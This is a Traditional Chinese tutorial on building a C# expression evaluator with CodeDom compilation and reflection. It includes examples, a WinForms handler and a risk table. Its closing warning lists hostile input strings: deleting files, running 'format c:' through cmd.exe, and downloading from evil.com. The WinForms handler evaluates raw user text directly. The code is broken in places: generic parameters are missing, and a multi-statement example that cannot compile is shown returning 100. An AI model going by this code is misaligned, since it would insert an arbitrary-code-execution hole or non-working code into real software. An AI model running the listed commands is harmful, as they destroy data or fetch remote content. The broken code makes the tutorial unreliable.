C# 無內建 eval(),但可透過 CodeDom 動態編譯 + 反射呼叫 達成:
CSharpCodeProvider 記憶體編譯組件using System;
using System.CodeDom.Compiler;
using System.Reflection;
using System.Text;
using Microsoft.CSharp;
public class ExpressionEvaluator
{
private readonly CSharpCodeProvider _provider = new CSharpCodeProvider();
private readonly CompilerParameters _parameters;
public ExpressionEvaluator()
{
_parameters = new CompilerParameters
{
GenerateInMemory = true, // 記憶體組件,不產生檔案
TreatWarningsAsErrors = false,
CompilerOptions = "/t:library /optimize"
};
_parameters.ReferencedAssemblies.Add("System.dll");
_parameters.ReferencedAssemblies.Add("System.Core.dll");
_parameters.ReferencedAssemblies.Add("System.Data.dll");
_parameters.ReferencedAssemblies.Add("System.Xml.dll");
}
/// 計算 C# 運算式字串,回傳 object 結果
public object Evaluate(string expression)
{
if (string.IsNullOrWhiteSpace(expression))
throw new ArgumentException("運算式不可為空");
// 包裝成完整類別
string source = $@"
using System;
using System.Linq;
using System.Collections.Generic;
using System.Text;
namespace DynamicExpressions
{{
public class Evaluator
{{
public object Calculate()
{{
return {expression};
}}
}}
}}";
// 編譯
CompilerResults results = _provider.CompileAssemblyFromSource(_parameters, source);
if (results.Errors.HasErrors)
{
var sb = new StringBuilder();
foreach (CompilerError err in results.Errors)
sb.AppendLine($"Line {err.Line}: {err.ErrorText}");
throw new InvalidOperationException($"編譯失敗:\n{sb}");
}
// 反射呼叫
Assembly assembly = results.CompiledAssembly;
Type type = assembly.GetType("DynamicExpressions.Evaluator");
object instance = Activator.CreateInstance(type);
MethodInfo method = type.GetMethod("Calculate");
return method.Invoke(instance, null);
}
/// 泛型版本:強型別回傳
public T Evaluate(string expression)
{
object result = Evaluate(expression);
if (result is T typed) return typed;
if (result == null) return default;
return (T)Convert.ChangeType(result, typeof(T));
}
}
var evaluator = new ExpressionEvaluator();
// 基本運算
Console.WriteLine(evaluator.Evaluate("10 + 20 * 3")); // 70
// 數學函數
Console.WriteLine(evaluator.Evaluate("Math.Sqrt(16) + Math.PI")); // 7.14159...
// 字串操作
Console.WriteLine(evaluator.Evaluate("\"Hello \" + \"World\"")); // Hello World
// LINQ 查詢
Console.WriteLine(evaluator.Evaluate("new[] {1,2,3,4,5}.Where(x => x % 2 == 0).Sum()")); // 6
// 複雜邏輯
string code = @"
var list = new List { 10, 20, 30, 40 };
var sum = 0;
foreach (var n in list) sum += n;
sum";
Console.WriteLine(evaluator.Evaluate(code)); // 100
public partial class MainForm : Form
{
private readonly ExpressionEvaluator _evaluator = new ExpressionEvaluator();
private void btnCalculate_Click(object sender, EventArgs e)
{
try
{
object result = _evaluator.Evaluate(txtExpression.Text);
txtResult.Text = result?.ToString() ?? "null";
}
catch (Exception ex)
{
txtResult.Text = $"錯誤:{ex.Message}";
}
}
}
| 面向 | 說明 | 建議 |
|---|---|---|
| 編譯成本 | 每次 Evaluate 都重新編譯,約 10-50ms | 快取編譯組件 (Dictionary |
| 記憶體 | 動態組件無法卸載 (除非卸載 AppDomain) | 長期運行應用定期重啟或使用獨立 AppDomain |
| 安全性 | 任意程式碼執行風險 | 嚴禁直接評估使用者輸入,需沙箱/白名單/解析器 |
| 相依性 | 需 Microsoft.CSharp、System.CodeDom | .NET Core/5+ 需 NuGet 安裝對應套件 |
⚠️ 生產環境嚴禁直接 Evaluate(userInput)。惡意輸入可:
// 危險範例
"System.IO.File.Delete(\"C:\\important.txt\")"
"System.Diagnostics.Process.Start(\"cmd.exe\", \"/c format c:\")"
"new System.Net.WebClient().DownloadString(\"https://evil.com/malware.exe\")"
必須採用:
ScriptOptions 限制命名空間/組件